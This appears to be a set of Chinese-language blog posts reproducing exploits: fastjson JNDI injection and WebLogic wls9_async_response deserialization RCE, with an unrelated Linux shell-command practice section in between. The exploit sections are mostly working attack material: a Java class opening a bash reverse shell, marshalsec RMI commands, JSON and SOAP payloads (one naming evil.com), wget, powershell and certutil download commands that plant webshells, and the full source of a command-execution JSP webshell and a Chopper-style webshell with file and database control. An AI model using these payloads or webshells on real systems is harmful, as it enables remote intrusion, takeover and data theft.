fastjson简介
  fastjson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。
漏洞复现
  因为目标环境是Java 8u102，没有com.sun.jndi.rmi.object.trustURLCodebase的限制，我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链，借助JNDI注入来执行命令。
  首先新建执行命令的脚本，进行javac TouchFile.java生成class文件
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
   static {
       try {
   		Runtime r = Runtime.getRuntime();
   		Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/yourip/4444 0>&1"});
   		p.waitFor();
       } catch (Exception e) {
           // do nothing
       }
   }
}


  使用python命令启动一个http服务
python -m SimpleHTTPServer 7777

  marshalsec项目，启动一个RMI服务器，监听8888端口，并制定加载远程类TouchFile.class：（需要mvn编译marshalsec）
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://yourip:7777/#TouchFile" 8888

  向靶场服务器发送Payload，带上RMI的地址：
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://yourip:8888/TouchFile",
        "autoCommit":true
    }
}

结果如下：反弹成功




1.2.47和1.2.24的复现过程区别
  向靶场服务器发送Payload不一样，其他的过程都是一样的，1.2.47的pyload：
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/Exploit",
        "autoCommit":true
    }
}

影响版本
   1.2.48以下的版本

linux命令练习1
一些基础命令，以下为方便演示均用shell脚本演示

od

#!/bin/bash -v

echo -n "$IFS" | od -c

echo -n "$IFS" | od -b


#左侧输出为变量地址（八进制）
# -c 选择可打印字符或反斜杠转义
# -b 选择八进制字节




type

#!/bin/bash -v

type type

type let 

type expr 

type awk 

#let 是 Shell 内置命令，其他几个是外部命令，都在 /usr/bin 目录 下

#而 expr 和 bc 因为刚用过，已经加载在内存的 hash 表中

#说明：如果要查看不同命令的帮助，对于 let 和 type 等 Shell 内置命令，可以通过 Shell 的一个内置命令 help 来查看相关帮助，而一些外部命令可以通过 Shell 的一个外部命令 man 来查看帮助，用法诸如 help let ， man expr 等。



while

#!/bin/bash 
# calc.sh 
i=0; 
while [ $i -lt 10000 ] 
do 
	((i++)) 
done 
echo $i

#$ time calc.sh
#10000 
#real 0m1.319s user
#0m1.056s
#sys 0m0.036s

#time 命令可以用来统计命令执行时间，这部分时间包括总的运行时间，用户空间执 行时间，内核空间执行时间，它通过 ptrace 系统调用实现。



++

#!/bin/bash
((i++)) #最快
let i++; #内置命令，效率也很高
i=$(expr $i + 1)
i=$(echo $i+1|bc) 
i=$(echo "$i 1" | awk '{printf $1+$2;}') # expr ， bc ， awk 的计算效率就比较低



文件读取

#!/bin/bash
#sumA_B.sh

#[ $# -lt 1 ] && echo "please input the income file" && exit -1
#[ ! -f $1 ] && echo "$1 is not a file" && exit -1

income=1

awk '{
	printf("%d\n",$2+$1);
}'

#-lt(less than)  : 测试一个数是否小于另一个数；小于，为真；否则，为假；

#-f : 判断参数是否为文件

#-gt(greter than) : 测试一个数是否大于另一个数；大于，为真；否则，为假；

#-lt(less than)  : 测试一个数是否小于另一个数；小于，为真；否则，为假；

#-ge(greter equal): 大于或等于
#-le(less equal) ：小于或等于



获取一系列数

#!/bin/bash -v

for i in {1..5};
do echo -n "$i ";
done



seq

#!/bin/bash -v
#获取一系列数.sh

#其实通过一个循环就可以产生一系列数，但是有相关工具为什么不用呢！ seq 就是这么一个 小工具，它可以产生一系列数，你可以指定数的递增间隔，也可以指定相邻两个数之间的分 割符

seq 5

seq 1 5

seq 1 2 5

seq -s: 1 2 5

seq 1 2 15

seq -w 1 2 14

seq -s: -w 1 2 14

seq -f "0x%g" 1 5



#!/bin/bash -v

for i in `seq -f"http://thns.tsinghua.edu.cn/thnsebooks/ebook73/%02g.pdf" 1 21`;
do wget -c $i;
done

for i in `seq -w 1 21`;do wget -c "http://thns.tsinghua.edu.cn/thnsebooks/ebook73/$i ";
done





随机rand

#!/bin/bash -v
#获取一个随机数.sh

echo $RANDOM

echo "" | awk '{srand();printf("%f",rand());}'

#说明： srand() 在无参数时，采用当前时间作为 rand() 随机数产生器的一个 seed


#!/bin/bash -v
#随机产生一个从 0 到 255 之间的数字.sh

expr $RANDOM / 128

echo "" | awk '{srand();printf("%d\n",rand()*255);}'

#可以通过 RANDOM 变量的缩放和 awk 中 rand() 的放大来实现


#!/bin/bash -v
# getip.sh -- get an usable ipaddress automatically

# set your own network, default gateway, and the time out of "ping" command
net="192.168.1"
default_gateway="192.168.50.2"
over_time=2

# check the current ipaddress
ping -c 1 $default_gateway -W $over_time
[ $? -eq 0 ] && echo "the current ipaddress is okey!" && exit -1;

while :; do
	# clear the current configuration
	ifconfig eth0 down
	# configure the ip address of the eth0
	ifconfig eth0 \
		$net.$(($RANDOM /130 +2)) \
		up
	# configure the default gateway
	route add default gw $default_gateway
	# check the new configuration
	ping -c 1 $default_gateway -W $over_time
	# if work, finish
	[ $? -eq 0 ] && break
done

# 	$?:表示上一个命令执行的退出状态



格式化

#!/bin/bash -v

echo "scale=5; 1/6" | bc

echo "1 6" | awk '{printf("%0.5f\n",$1/$2)}'



余弦值转角度

#!/bin/bash -v

export cos=0.800123;

echo "scale=100; a(sqrt(1-$cos^2)/$cos)*180/(a(1)*4)" | bc -l

#在用 bc 进行运算时，如果不用 scale 指定精度，而在 bc 后加上 -l 选项，也可 以进行浮点运算，只不过这时的默认精度是 20 位

echo 0.800123 | awk '{ printf("%s\n", atan2(sqrt(1-$1^2),$1)*180/3.1415926535);}'

Weblogic wls9_async_response 反序列化远程命令执行漏洞（CNVD-C-2019-48814）
		我有一千种一万种想见你的理由，却唯独少了一种见你的身份。

漏洞概述:

跟该漏洞存在于wls9-async组件，这个组件主要作用是异步通讯服务，攻击者可以向/_async/AsyncResponseService路径下传入构造好的恶意xml格式的数据，传入的数据在服务器端反序列化时，执行其中的恶意代码，从而可以getshell。

漏洞版本：
WebLogic 10.3.6.0  12.1.3.0.0  12.2.1.1.0  12.2.1.2.0

漏洞搭建：


docker快速搭建，访问7001登录页面及成功。


docker pull ismaleiva90/weblogic12

docker run -d -p 7001:7001 -p 7002:7002 --restart=always ismaleiva90/weblogic12:latest




漏洞复现：

Linux

首先访问/_async/AsyncResponseService来判断是否启用该组件。

也可以用namp插件进行扫描weblogic.nse
然后向/_async/AsyncResponseService发送XMLPoc，连接类型content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

即可成功反弹shell上传webshell可以利用<string>wget/curl http://ip:8000/Desktop/shell.jsp -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/warr/webshell.jsp(结合shell，pwd查看路径)</string>也可以利用echo 一句话base64 | base64 -d > 路径

WINDOWS

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
<soapenv:Header> 
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip/webshell','servers/AdminServer/tmp/_WL_internal/bea_wls_internal/war/webshell.jsp')</string>
###<string>certutil -urlcache -split -f http://ip/webshell servers/AdminServer/tmp/_WL_internal/bea_wls_internal/war/webshell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

也先发送可以echo base64 >路径 数据包，然后在发送certutil -decode 路径/shell servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp数据包。
https://github.com/lufeirider/CVE-2019-2725 大佬poc

漏洞修复：

禁用bea_wls9_async_response组件
删除wls9_async_response的war包并重启
禁止访问 /_async/* 路径。

ps:余生很长，请多指教。

漏洞概述：

（CNVD-C-2019-48814）Weblogic wls9_async_response 反序列化远程命令执行漏洞存在于wls9-async组件中，攻击者可以向/_async/AsyncResponseService路径下传入构造好的恶意xml格式的数据，传入的数据在服务器端反序列化时，执行其中的恶意代码，从而造成远程命令执行。

漏洞环境：

服务器:windowsserver2008，搭建好weblogic环境。IP：192.168.131.157

复现过程：

首先访问/_async/AsyncResponseService来判断是否启用该组件。



刷新页面并启用burpsuite抓包拦截/_async/AsyncResponseService数据包发送到repeater，修改method为POST，修改新增字段的值，把context-type修改成text/xml。poc如下：

   <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
    xmlns:wsa="http://www.w3.org/2005/08/addressing" 
    xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.8.0_131" class="java.beans.xmlDecoder">
    <object class="java.io.PrintWriter">
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string>
    <void method="println"><string><![CDATA[
    <%
        if("123".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int a = -1;          
            byte[] b = new byte[1024];          
            out.print("<pre>");          
            while((a=in.read(b))!=-1){
                out.println(new String(b));          
            }
            out.print("</pre>");
        } 
        %>]]>
    </string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>




成功后访问http://192.168.131.157:7001/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami



命令成功执行，修改cmd的值为systeminfo，命令也被执行。


上传一句话木马并连接：

poc如下，一句话木马为菜刀中jsp格式木马，连接密码：cmd

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.131.157:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 9839

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/sh.jsp</string><void method="println"><string><![CDATA[<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
	String Pwd = "cmd";
	String cs = "UTF-8";
	
	String EC(String s) throws Exception {
		return new String(s.getBytes("ISO-8859-1"),cs);
	}
	
	Connection GC(String s) throws Exception {
		String[] x = s.trim().split("choraheiheihei");
		Class.forName(x[0].trim());
		if(x[1].indexOf("jdbc:oracle")!=-1){
			return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
		}else{
			Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
			if (x.length > 4) {
				c.setCatalog(x[4]);
			}
			return c;
		}
	}
	
	void AA(StringBuffer sb) throws Exception {
		File k = new File("");
		File r[] = k.listRoots();
		for (int i = 0; i < r.length; i++) {
			sb.append(r[i].toString().substring(0, 2));
		}
	}
	
	void BB(String s, StringBuffer sb) throws Exception {
		File oF = new File(s), l[] = oF.listFiles();
		String sT, sQ, sF = "";
		java.util.Date dt;
		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		for (int i = 0; i < l.length; i++) {
			dt = new java.util.Date(l[i].lastModified());
			sT = fm.format(dt);
			sQ = l[i].canRead() ? "R" : "";
			sQ += l[i].canWrite() ? " W" : "";
			if (l[i].isDirectory()) {
				sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
			} else {
				sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
			}
		}
		sb.append(sF);
	}
	
	void EE(String s) throws Exception {
		File f = new File(s);
		if (f.isDirectory()) {
			File x[] = f.listFiles();
			for (int k = 0; k < x.length; k++) {
				if (!x[k].delete()) {
					EE(x[k].getPath());
				}
			}
		}
		f.delete();
	}
	
	void FF(String s, HttpServletResponse r) throws Exception {
		int n;
		byte[] b = new byte[512];
		r.reset();
		ServletOutputStream os = r.getOutputStream();
		BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
		os.write(("->" + "|").getBytes(), 0, 3);
		while ((n = is.read(b, 0, 512)) != -1) {
			os.write(b, 0, n);
		}
		os.write(("|" + "<-").getBytes(), 0, 3);
		os.close();
		is.close();
	}
	
	void GG(String s, String d) throws Exception {
		String h = "0123456789ABCDEF";
		File f = new File(s);
		f.createNewFile();
		FileOutputStream os = new FileOutputStream(f);
		for (int i = 0; i < d.length(); i += 2) {
			os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
		}
		os.close();
	}
	
	void HH(String s, String d) throws Exception {
		File sf = new File(s), df = new File(d);
		if (sf.isDirectory()) {
			if (!df.exists()) {
				df.mkdir();
			}
			File z[] = sf.listFiles();
			for (int j = 0; j < z.length; j++) {
				HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
			}
		} else {
			FileInputStream is = new FileInputStream(sf);
			FileOutputStream os = new FileOutputStream(df);
			int n;
			byte[] b = new byte[512];
			while ((n = is.read(b, 0, 512)) != -1) {
				os.write(b, 0, n);
			}
			is.close();
			os.close();
		}
	}
	
	void II(String s, String d) throws Exception {
		File sf = new File(s), df = new File(d);
		sf.renameTo(df);
	}
	
	void JJ(String s) throws Exception {
		File f = new File(s);
		f.mkdir();
	}
	
	void KK(String s, String t) throws Exception {
		File f = new File(s);
		SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
		java.util.Date dt = fm.parse(t);
		f.setLastModified(dt.getTime());
	}
	
	void LL(String s, String d) throws Exception {
		URL u = new URL(s);
		int n = 0;
		FileOutputStream os = new FileOutputStream(d);
		HttpURLConnection h = (HttpURLConnection) u.openConnection();
		InputStream is = h.getInputStream();
		byte[] b = new byte[512];
		while ((n = is.read(b)) != -1) {
			os.write(b, 0, n);
		}
		os.close();
		is.close();
		h.disconnect();
	}
	
	void MM(InputStream is, StringBuffer sb) throws Exception {
		String l;
		BufferedReader br = new BufferedReader(new InputStreamReader(is));
		while ((l = br.readLine()) != null) {
			sb.append(l + "\r\n");
		}
	}
	
	void NN(String s, StringBuffer sb) throws Exception {
		Connection c = GC(s);
		ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();
		while (r.next()) {
			sb.append(r.getString(1) + "\t|\t\r\n");
		}
		r.close();
		c.close();
	}
	
	void OO(String s, StringBuffer sb) throws Exception {
		Connection c = GC(s);
		String[] x = s.trim().split("choraheiheihei");
		ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});
		while (r.next()) {
			sb.append(r.getString("TABLE_NAME") + "\t|\t\r\n");
		}
		r.close();
		c.close();
	}
	
	void PP(String s, StringBuffer sb) throws Exception {
		String[] x = s.trim().split("\r\n");
		Connection c = GC(s);
		Statement m = c.createStatement(1005, 1007);
		ResultSet r = m.executeQuery("select * from " + x[x.length-1]);
		ResultSetMetaData d = r.getMetaData();
		for (int i = 1; i <= d.getColumnCount(); i++) {
			sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
		}
		r.close();
		m.close();
		c.close();
	}
	
	void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {
		Connection c = GC(s);
		Statement m = c.createStatement(1005, 1008);
		BufferedWriter bw = null;
		try {
			ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);
			ResultSetMetaData d = r.getMetaData();
			int n = d.getColumnCount();
			for (int i = 1; i <= n; i++) {
				sb.append(d.getColumnName(i) + "\t|\t");
			}
			sb.append("\r\n");
			if(q.indexOf("--f:")!=-1){
				File file = new File(p);
				if(q.indexOf("-to:")==-1){
					file.mkdir();
				}
				bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));
			}
			while (r.next()) {
				for (int i = 1; i <= n; i++) {
					if(q.indexOf("--f:")!=-1){
						bw.write(r.getObject(i)+""+"\t");
						bw.flush();
					}else{
						sb.append(r.getObject(i)+"" + "\t|\t");
					}
				}
				if(bw!=null){bw.newLine();}
				sb.append("\r\n");
			}
			r.close();
			if(bw!=null){bw.close();}
		} catch (Exception e) {
			sb.append("Result\t|\t\r\n");
			try {
				m.executeUpdate(q);
				sb.append("Execute Successfully!\t|\t\r\n");
			} catch (Exception ee) {
				sb.append(ee.toString() + "\t|\t\r\n");
			}
		}
		m.close();
		c.close();
	}
%>
<%


//String Z = EC(request.getParameter(Pwd) + "", cs);
	
	cs = request.getParameter("code") != null ? request.getParameter("code")+ "":cs;
	request.setCharacterEncoding(cs);
	response.setContentType("text/html;charset=" + cs);
	StringBuffer sb = new StringBuffer("");
if (request.getParameter(Pwd) != null) {

	try {
		String Z = EC(request.getParameter("action") + "");
		String z1 = EC(request.getParameter("z1") + "");
		String z2 = EC(request.getParameter("z2") + "");
		sb.append("->" + "|");
		String s = request.getSession().getServletContext().getRealPath("/");
		if (Z.equals("A")) {
			sb.append(s + "\t");
			if (!s.substring(0, 1).equals("/")) {
				AA(sb);
			}
		} else if (Z.equals("B")) {
			BB(z1, sb);
		} else if (Z.equals("C")) {
			String l = "";
			BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
			while ((l = br.readLine()) != null) {
				sb.append(l + "\r\n");
			}
			br.close();
		} else if (Z.equals("D")) {
			BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
			bw.write(z2);
			bw.close();
			sb.append("1");
		} else if (Z.equals("E")) {
			EE(z1);
			sb.append("1");
		} else if (Z.equals("F")) {
			FF(z1, response);
		} else if (Z.equals("G")) {
			GG(z1, z2);
			sb.append("1");
		} else if (Z.equals("H")) {
			HH(z1, z2);
			sb.append("1");
		} else if (Z.equals("I")) {
			II(z1, z2);
			sb.append("1");
		} else if (Z.equals("J")) {
			JJ(z1);
			sb.append("1");
		} else if (Z.equals("K")) {
			KK(z1, z2);
			sb.append("1");
		} else if (Z.equals("L")) {
			LL(z1, z2);
			sb.append("1");
		} else if (Z.equals("M")) {
			String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
			Process p = Runtime.getRuntime().exec(c);
			MM(p.getInputStream(), sb);
			MM(p.getErrorStream(), sb);
		} else if (Z.equals("N")) {
			NN(z1, sb);
		} else if (Z.equals("O")) {
			OO(z1, sb);
		} else if (Z.equals("P")) {
			PP(z1, sb);
		} else if (Z.equals("Q")) {
			QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
		}
	} catch (Exception e) {
		sb.append("ERROR" + ":// " + e.toString());
	}
	sb.append("|" + "<-");
	out.print(sb.toString());
}
%>
]]></string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>










成功连接后并不能打开任何文件夹，菜鸡还在努力中。